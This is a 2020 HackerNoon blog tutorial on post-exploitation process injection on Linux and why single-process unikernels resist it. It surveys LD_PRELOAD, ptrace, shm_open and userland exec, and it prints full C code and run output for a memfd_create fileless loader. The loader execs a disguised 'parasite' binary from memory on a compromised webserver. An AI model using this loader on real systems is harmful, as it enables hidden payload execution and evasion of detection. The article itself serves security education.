Hacking Unikernels Through Process Injection [A Step by Step Guide]

Written by eyberg | Published 2020/03/04
Tech Story Tags: hacking | unikernels | linux | security | devsecops | devops | linux-top-story | hackernoon-top-story

TLDR Hacking Unikernels Through Process Injection [A Step by Step Guide] is a guide to hacking unikernels. The guide explains how to attack unik kernels and how to do it using process injection and process hollowing. It is a stark departure from traditional attacks and forces the attacker to earn their living. Attacking Linux boxes is still an incredibly easy feat because the system itself is designed for it. Techniques like process injection on the other hand, act like good boy scouts (or burners) and leave no trace.via the TL;DR App

A lot of people have this mistaken notion that unikernels have this 'unhackable' characteristic about them. This is untrue. They absolutely are hackable depending on what is deployed and how they are configured.

The reason this notion exists, however, is that they represent a stark departure from traditional attacks and really force the attacker to earn their living. Attacking linux boxes is still an incredibly easy feat because the system itself is basically designed for it.
Having said that, traditionally speaking, pure shellcode attacks and attacks built from ROP gadgets are of limited use. At the end of the day they really just act as a way of opening the door to the house. You still want to steal the guns and the money and that happens post exploitation.
You really want to execute a different program of some kind other than the one that you are exploiting otherwise there is no point in attacking to begin with - a lot of people gloss over this fact.
That program preferably comes in the form of a shell, but at least something like mysqldump or a monero cryptominer (which was all the rage in the past few years) or something. You don't want to stuff an entire mysql client as a payload written in shellcode or rop gadgets - that's just not really feasible.
The trouble is with unikernels is that they are single process by definition. They don't have inherent facilities inside the kernel to run multiple processes although there are many implementations, nanos included, that will allow you access to all the threads you might want or need so you can still have all the performance.
What this means is that you can't just fork/exec and run your cryptominer - there is just no support in the kernel to do so.
So - even if you discover a vulnerability inside a unikernel - how do you go about running that other program you want to run?

Process Injection

VXers and botnet lords have long used methods such as process hollowing and process injection to hide, obfuscate and evade detection. When you are dropping a payload on a few hundred thousand unsuspecting windows boxen spread throughout the world a majority of them will be running some form of virus protection.
The canonical way of looking for malware is to scan for what's called a IOC (indicator of compromise). If you go to the blog section of a endpoint protection company and look at their research articles they typically will have hashes of files and ips showing the IOCs of the malware they are researching.
This is to prove they can detect and remediate it.
This will catch a lot of low quality malware. Techniques like process hollowing and process injection on the other hand, act like good boy scouts (or burners) and leave no trace on the filesystem. Sometimes these are referred to as "in memory attacks".
Windows has made this "feature" pretty straight-forward to exploit with calls such as CreateRemoteThread which does exactly what it sounds like.
However, if you are reading this article, you probably don't care about windows. That's a lost cause, unbeknownst to the poor city governments that suffer from ransomware. Most modern infrastructure runs on linux.

Attacking Linux

A lot of people are aware of these techniques for windows but for linux? Well, you can actually start running a new program without having to fork it or without having to spawn one from a shell (which also would use fork).
You see on linux launching a new process typically entails running fork and exec'ng it. Everyone knows unikernels don't support fork, but some people don't realize we don't support exec either.
Let's look at some of the methods you could use on linux.
One method includes using
LD_PRELOAD
with a shared library to override code in the process you want to run although that implies a few things.
One - it implies you are starting a process with local access and two it's not an existing process. This is classic process hollowing, basically spinning up an innocent program, then loading in your parasite and then running that all the while letting the rest of the system seem like everything is ok.
Another method uses ptrace.

ptrace

Ptrace is one of those syscalls that gets overly abused by lots of different things. *ahem* gvisor *ahem*.
The technique here is pretty simple. You take your shared library and just inject it via ptrace.
Good thing is that you are almost guaranteed to have this capability turned off on whatever box you are on currently - you can check to verify though via proc:
/proc/sys/kernel/yama/ptrace_scope
Newer methods abuse shared memory with shm_open although in many environments /dev/shm will be mounted noexec. You can verify whether or not this is the case by grepping through the mount output:
mount | grep /dev/shm
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
As you can see on this recent ubuntu box (bionic 18.04) I pulled up - it is not - meaning it's vulnerable to this attack.

MemFD_Create

This brings us to the memfd_create technique. This technique allows us to create an anonymous file to stuff our program into and then we can exec it. Let's take a look at this.
Let's say we have control over a vulnerable webserver we've attacked. Maybe that's through the recent ghostcat exploit. We'd like to inject this small little parasitical program into the host process and do so in a way where it doesn't leave things on disk.
In it, we print out the process id and then see if we can find the binary on disk or not. If we can we know we are executing it normally but if not then it'll state we are running it from memory:
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
  printf("parasite process ID : \t%d\n", getpid());

  FILE *parasite = fopen(argv[0], "r");
  if (parasite == NULL) {
    while(1) {
      printf("running from memory!\n");
      sleep(3);
    }
  } else {
    printf("exec'ing in disk\n");
  }

  return 0;
}
Now let's take a look at what a theoretical payload we can run on our webserver would look like. In this example we load the program locally from disk but you could just as well deliver via http as say an image upload form - I mean it's not like there are POCs that exist for this.
Now when it gets loaded, it will show up in proc, however, as you can see you can name the process whatever you want and disguise as something germane. Then we simply issue a call to exec.
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/memfd.h>
#include <err.h>
#include <stdlib.h>
#include <stdio.h>

int main() {
  FILE *f;
  unsigned char *bin;
  long filelen;

  printf("original process id:\t%d\n", getpid());

  f = fopen("parasite", "rb");
  fseek(f, 0, SEEK_END);
  filelen = ftell(f);
  rewind(f);

  bin = (unsigned char *)malloc(filelen * sizeof(unsigned char));
  fread(bin, filelen, 1, f);
  fclose(f);

  int fd;
  if((fd = syscall(SYS_memfd_create, "h4x0r", MFD_CLOEXEC)) == -1)
    err(1, "memfd_create");

  write(fd, bin, filelen*sizeof(char));

  char *binpath;
  asprintf(&binpath, "/proc/self/fd/%d", fd);

  char* argv[] = { "h4x0r", NULL };
  char* envp[] = {  NULL };
  execve(binpath, argv, envp);

  free(bin);
  free(binpath);
}
If you run this on linux you can see that we have successfully injected the process:
eyberg@box:~/scratch$ ./main
original process id:    1480
parasite process ID :   1480
running from memory!
running from memory!
If you grep for process id 1480 you'll also find that the name has changed to h4x0r. So this attack most definitely works on linux. Some boxes are slightly more paranoid and lock things down. Since we don't have an exec we can look at other options.

Userland Exec

People have tried to route around this limitation a thousand different ways - most notably this was originally explored by the grugq:
Basically the concept is to re-write exec in userland. There have been many re-writes since then such as this 64bit capable one (but broken due to stack smashing protections) and a more recent one with libreflect from rapid7.
A lot of the userland exec's that you'll find online are not going to work in our environment for a variety of reasons and they won't be transferrable from unikernel to unikernel.
Some are old and are 32bit based - nanos only runs 64bit code. Some only work for statically linked binaries - most binaries on linux nowadays are dynamically linked. Then there's the issue of stack smashing of which is on by default.
There are a few over things preventing this from working in Nanos today (including the fact that we don't have proc) but having said that - if I were to attack an unikernel this is one way I'd go.

Written by eyberg | hackity hack
Published by HackerNoon on 2020/03/04